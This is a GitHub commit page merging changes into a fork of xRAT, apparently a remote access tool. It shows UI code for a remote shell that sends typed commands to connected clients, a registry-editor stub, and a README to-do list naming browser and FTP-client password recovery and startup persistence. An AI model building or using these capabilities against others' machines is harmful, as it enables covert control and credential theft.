Skip to content
This repository has been archived by the owner on Mar 17, 2024. It is now read-only.

Commit

Permalink
Merge pull request #16 from MaxXor/master
Browse files Browse the repository at this point in the history
Merge with recent base
  • Loading branch information
yankejustin committed May 27, 2015
2 parents 2012399 + 5f2ffe2 commit 690dcc3
Show file tree
Hide file tree
Showing 8 changed files with 70 additions and 21 deletions.
5 changes: 3 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -51,8 +51,9 @@ Building a client

ToDo
---
* ~~Reverse SOCKS5/HTTPS Proxy~~
* Password Recovery (Browsers, FTP-Clients)
* Registry Editor (browse, delete, add registry keys)
* Password Recovery
* Recover Passwords of common browsers (i.e. Chrome, Firefox, IE) and FTP-Clients (i.e. FileZilla Client)
* Startup Persistence
* [Issues](https://github.com/MaxXor/xRAT/issues)

Expand Down
22 changes: 17 additions & 5 deletions Server/Forms/FrmMain.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

17 changes: 17 additions & 0 deletions Server/Forms/FrmMain.cs
Original file line number Diff line number Diff line change
Expand Up @@ -184,6 +184,7 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
UPnP.RemovePort();

nIcon.Visible = false;
nIcon.Dispose();
Instance = null;
}

Expand Down Expand Up @@ -540,6 +541,22 @@ private Client[] GetSelectedClients()
return clients.ToArray();
}

private void ctxtRegistryEditor_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
// TODO
//Client c = (Client)lstClients.SelectedItems[0].Tag;
//if (c.Value.FrmReg != null)
//{
// c.Value.FrmReg.Focus();
// return;
//}
//FrmStartupManager FrmReg = new FrmStartupManager(c);
//FrmReg.Show();
}
}

private void ctxtShutdown_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
Expand Down
2 changes: 1 addition & 1 deletion Server/Forms/FrmMain.resx
Original file line number Diff line number Diff line change
Expand Up @@ -408,7 +408,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY
sQAAAk1TRnQBSQFMAgEB+AEAARgBBwEYAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
sQAAAk1TRnQBSQFMAgEB+AEAASgBBwEoAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA
AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC
AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/
Expand Down
28 changes: 17 additions & 11 deletions Server/Forms/FrmRemoteShell.cs
Original file line number Diff line number Diff line change
Expand Up @@ -45,18 +45,24 @@ private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e)
string input = txtConsoleInput.Text;
txtConsoleInput.Text = string.Empty;

switch (input)
bool isExit = (input.StartsWith("exit") && input.Length > "exit".Length && input[4] == ' ') || input == "exit";

if (isExit)
{
new Core.Packets.ServerPackets.ShellCommand("exit").Execute(_connectClient);
this.Close();
}
else
{
case "cls":
txtConsoleOutput.Text = string.Empty;
break;
case "exit":
new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
this.Close();
break;
default:
new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
break;
switch (input)
{
case "cls":
txtConsoleOutput.Text = string.Empty;
break;
default:
new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
break;
}
}

e.Handled = true;
Expand Down
10 changes: 10 additions & 0 deletions Server/Properties/Resources.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

7 changes: 5 additions & 2 deletions Server/Properties/Resources.resx
Original file line number Diff line number Diff line change
Expand Up @@ -236,6 +236,9 @@
<data name="eye" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="application_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="logger" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\logger.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
Expand All @@ -252,7 +255,7 @@
<value>..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="application_delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="registry" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>
Binary file added Server/images/registry.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 690dcc3

Please sign in to comment.